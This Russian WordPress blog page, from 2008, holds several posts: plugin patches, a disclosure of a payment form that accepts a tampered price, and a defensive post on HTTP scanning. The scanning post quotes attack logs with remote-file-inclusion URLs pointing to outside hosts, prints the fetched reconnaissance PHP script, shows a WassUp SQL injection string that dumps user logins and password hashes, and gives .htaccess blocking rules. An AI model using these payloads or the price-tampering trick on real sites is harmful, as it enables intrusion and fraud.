Ars Longa, Vita Brevis

Simple Tags и автоматические ссылки меток на русском языке

2008-11-22T06:03:48Z

Сегодня у Lecacus'а на сайте наткнулся на упоминание одной нерешённой проблемы:

У меня не работают автоматические ссылки меток в содержимом записи для меток на русском языке. Т.е. если есть метка "wordpress", то слово "wordpress" заменяется на ссылку http://myblog.net/tag/wordpress/. А вот если есть метка "спорт", то слово "спорт" ссылкой не заменяется. Подскажите как сделать так, чтобы плагин работал и с русскими метками.

А так как сегодня мне уже пришлось иметь дело с Simple Tags, я решил разобраться, в чём же дело и исправить досадный баг.

Сам по себе код плагина довольно-таки простой (что определённо делает честь автору), но регулярные выражения, использованные в коде, требуют некоторых знаний и навыков.

За создание автоматических меток отвечает метод SimpleTags::autoLinkTags, основу которого составляют регулярные выражения из PHP Markdown Михеля Фортина (Michel Fortin); замечу, что эти регулярные выражения исправлять не пришлось (хотя, по-хорошему, их можно упростить).

Сама ошибка находится в данной строке:

$match = "/\b" . preg_quote($term_name, "/") . "\b/".$case;

Очень многие "Забугорные" программисты (а также наши, работающие на иностранцев), привыкли считать, что нет иной кодовой таблицы, нежели iso-8859-x, что, собственно, и выражается в регулярном выражении.

Те, кто знаком с PCRE, знают, что \b — это граница слова. Но в локали по умолчанию русские буквы не попадают в категорию "буквы"; как следствие, регулярное выражение /\bспорт\b/ не сработает.

Решение проблемы состоит в использовании классов символов Unicode (то, что знают, увы, очень немногие программисты).

Фактически, нужно было проверять на нахождение не-буквы перед меткой и после метки; например, так:

$match = "/(\PL)(" . preg_quote($term_name, "/") . ")(\PL)/u".$case;

Уже лучше, но работает не всегда. В частности, не будет работать, если метка идет сразу после открывающего тэга, либо сразу перед закрывающим тэгом (не сработает условие (\PL) в начале или в конце). Правильным решением будет следующее:

$match = "/(\PL|\A)(" . preg_quote($term_name, "/") . ")(\PL|\Z)/u".$case;

Полное решение выглядит сложнее, но суть должна быть понятна.

Ниже приведён патч в формате unified diff:

--- simple-tags.client.php.orig 2008-11-22 06:15:22.000000000 +0200
+++ simple-tags.client.php 2008-11-22 07:53:15.000000000 +0200
@@ -262,8 +262,9 @@

foreach ( (array) $this->link_tags as $term_name => $term_link ) {
$filtered = ""; // will filter text token by token
- $match = "/\b" . preg_quote($term_name, "/") . "\b/".$case;
- $substitute = '<a href="'.$term_link.'" class="st_tag internal_tag" '.$rel.' title="'. attribute_escape( sprintf( __('Posts tagged with %s', 'simpletags'), $term_name ) )."\">
+ $quoted = preg_quote($term_name, "/");
+ $match = "/(\PL|\A)(" . preg_quote($term_name, "/") . ")(\PL|\Z)/u".$case;
+ $substitute = '$1<a href="'.$term_link.'" class="st_tag internal_tag" '.$rel.' title="'. attribute_escape( sprintf( __('Posts tagged with %s', 'simpletags'), $term_name ) )."\

// for efficiency only tokenize if forced to do so
if ( $must_tokenize ) {

Внимание: патч будет работать только если PHP собран с поддержкой UTF-8, если кодировка блога установлена в UTF-8 и соединение с базой данных тоже использует кодировку UTF-8. В принципе, ничего запредельного, нормальная инсталляция WordPress будет отвечать этим требованиям.

Те, кто не хотят заморачиваться с патчем, могут скачать пропатченную версию (но она требует как минимум WordPress 2.5).

Скачать Simple Tags 1.5.7.1.

Связанные записи

WordPress 2.7 и Simple Tags

2008-11-22T04:14:51Z

Simple Tags — это плагин для WordPress, предназначенный для управления тэгами (или, как их еще называют, метками). Достоинств у плагина очень много (полный список — на официальной странице плагина), работает просто на "ура".

Но, как обычно, в бочке мёда есть ложка дёгтя: плагин отказывается работать в WordPress 2.7. Причём довольно-таки по-глупому: номера версий, с которыми плагин хочет работать, жёстко зашиты в коде. Если в список добавить 2.7, плагин будет работать.

По традиции, для таких случаев привожу патч (в формате unified diff):

--- simple-tags.php.orig 2008-05-05 18:37:58.000000000 +0300
+++ simple-tags.php 2008-11-22 05:27:50.000000000 +0200
@@ -32,7 +32,7 @@

// Check version.
global $wp_version;
-if ( strpos($wp_version, '2.5') !== false || strpos($wp_version, '2.6') !== false ) {
+if ( strpos($wp_version, '2.5') !== false || strpos($wp_version, '2.6') !== false || strpos($wp_version, '2.7') !== false ) {
require(dirname(__FILE__).'/2.5/simple-tags.client.php');
} elseif ( strpos($wp_version, '2.3') !== false ) {
require(dirname(__FILE__).'/2.3/simple-tags.client.php');

Связанные записи

Как не нужно интегрировать платёжные системы

2008-11-21T01:20:22Z

Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.

Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):

Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:

Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45 — как 2045.

У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с индопакистанофилиппинцами, то ему только остаётся схватиться за голову.

А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:

Кстати, отрицательный результат — тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт не проверяет значение суммы платежа, и ему можно скормить любое значение!

Итак, меняем сумму платежа:

И отправляем форму. В результате получаем такую картину:

Осталось посмотреть, сколько денег снялось:

Как видим, снялся $1.00 — операция прошла успешно.

Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: никогда не доверяйте данным, которые пришли от пользователя. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.

Update: чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.

Связанные записи

Минимизируем неприятные последствия HTTP-сканирования

2008-11-19T04:45:26Z

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] "GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] "GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 71829 "-"
"libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] "GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90948 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:28:48 +0200] "GET /wordpress/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86232 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:14 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:15 +0200] "GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 69530 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:20 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:21 +0200] "GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 90888 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:25 +0200] "GET /wordpress////?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 301 - "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:34:26 +0200] "GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 86208 "-" "libwww-perl/5.805"
80.93.57.226 - - [16/Nov/2008:20:51:19 +0200] "GET /linux/144-easy-way-to-replace-spaces-with-tabs-or-opposite/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1" 200 76404 "-" "libwww-perl/5.8
05"

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

<?php
echo "ryey ";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os ";
echo "uname -a: $alb ";
echo "uptime: $alb2 ";
echo "id: $alb3 ";
echo "pwd: $alb4 ";
echo "user: $alb9 ";
echo "phpv: $alb6 ";
echo "SoftWare: $alb5 ";
echo "ServerName: $alb7 ";
echo "ServerAddr: $alb8 ";
echo "ryey ONLINE ";
exit;
?>

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

ryey
os: Linux
uname -a: Linux SJINKS 2.6.27-8-server #1 SMP Thu Nov 6 18:18:16 UTC 2008 x86_64
uptime: 04:44:54 up 13:51, 3 users, load average: 0.37, 0.26, 0.20
id: uid=1000(...) gid=1000(...) группы=4(adm),8(mail),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),...
pwd: /home/test
user:
phpv: 5.2.6-2ubuntu4
SoftWare:
ServerName:
ServerAddr:
ryey ONLINE

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

PHP Warning: parse_url(/?_zb_path=http://xxxx.com/bbs/data/vip/id2.txt???) [function.parse-url]: Unable to parse URL in /var/www/domain.ext/typo3conf/ext/realurl/class.tx_realurl.php on line 836

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

"GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"
"GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6254&STRMVER=4&CAPREQ=0 HTTP/1.1"

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

It is an attempt to gain admin rights (hack).
You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.
If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] "GET http://www.intel.com/ HTTP/1.1" 403 529 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)"

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

grep -E 'HTTP/1\.[01]" 404 ' apache-log.txt > 404.txt

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

cat 404.txt | awk '{ print $1 }' | sort | uniq -c | sort -n | awk '{ if ($1 > 100) { system("cat 404.txt | grep " $2 " >> filtered.txt"); } }'

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
```
//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
/sub.php?sub=http://61.19.234.26/test.txt???
/admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
```
Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
```
203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
```
Удвоенный еще куда ни шло, но утроенный — это перебор;
у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{QUERY_STRING} [^?]*\? [OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [OR]
RewriteCond %{QUERY_STRING} (///) [OR]
RewriteCond %{THE_REQUEST} "^(GET|POST) /?https?:"
RewriteRule (.*) $1 [F]
</IfModule>

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

SetEnvIf User-Agent "^libwww-perl" badua
Order Allow,Deny
Allow from all
Deny from env=badua

Связанные записи

HitsLink для WordPress

2008-11-19T01:27:56Z

HitsLink — это платный сервис стаистики, который достаточно хорош, чтобы быть альтернативой Google Analytics. HitsLink предоставляет 30-дневный пробный бесплатный период.

HitsLink является довольно-таки популярным сервисом в странах Запада (и лично мне он нравится больше, чем Clicky или Google Analytics).

У сервиса есть один недостаток: он не предоставляет плагин для WordPress. В принципе, можно добавлять код руками в тему, но ведь это не наш метод, не так ли?

Плагин написан на PHP5, протестирован на версиях WordPress 2.5.x-2.6.x.

Скачать HitsLink для WordPress.

Связанные записи

Космический корабль и лошадь

2008-11-19T01:28:37Z

Из архивов…

По бокам космического корабля "Кеннеди" размещаются два двигателя по 5 футов шириной. Конструкторы корабля хотели сделать эти двигатели еще шире, но не смогли. Почему?
Дело в том, что двигатели эти доставлялись по железной дороге, которая проходит по узкому тоннелю. Расстояние между рельсами стандартное: 4 фута 8.5 дюймов, поэтому конструкторы могли сделать двигатели только шириной 5 футов.

Возникает вопрос: почему расстояние между рельсами 4 фута 8.5 дюймов? Откуда же взялась эта цифра?

Оказывается, что железную дорогу в Соединённых Штатах делали такую же, как и в Англии, а в Англии делали железнодорожные вагоны по тому же принципу, что и трамвайные, а первые трамваи производились в Англии по образу и подобию конки. А длина оси конки составляла как раз… правильно, 4 фута 8.5 дюймов! Но почему?

Потому что конки делали с тем расчетом, чтобы их оси попадали в колеи на английских дорогах, чтобы колеса меньше изнашивались, а расстояние между колеями в Англии как раз… да, Вы угадали: именно 4 фута 8.5 дюймов! Отчего так?

Да просто дороги в Великобритании стали делать римляне, подводя их под размер своих боевых колесниц, и длина оси стандартной римской колесницы равнялась… правильно, 4 футам 8.5 дюймам! Ну вот теперь мы докопались, откуда взялся этот размер, но все же, почему римлянам вздумалось делать свои колесницы с осями именно такой длины?

А вот почему: в такую колесницу запрягали обычно двух лошадей. А 4 фута 8.5 дюймов — это был как раз размер двух лошадиных задниц! Делать ось колесницы длиннее было неудобно, так как это нарушало бы равновесие колесницы.

Следовательно, вот и ответ на самый первый вопрос: даже теперь, когда человек вышел в космос, его наивысшие технические достижения напрямую зависят от размера лошадиной задницы две тысячи лет назад!

PS — мне стало интересно, почему в России железно-дорожная колея шире?
Неужели лошади толще?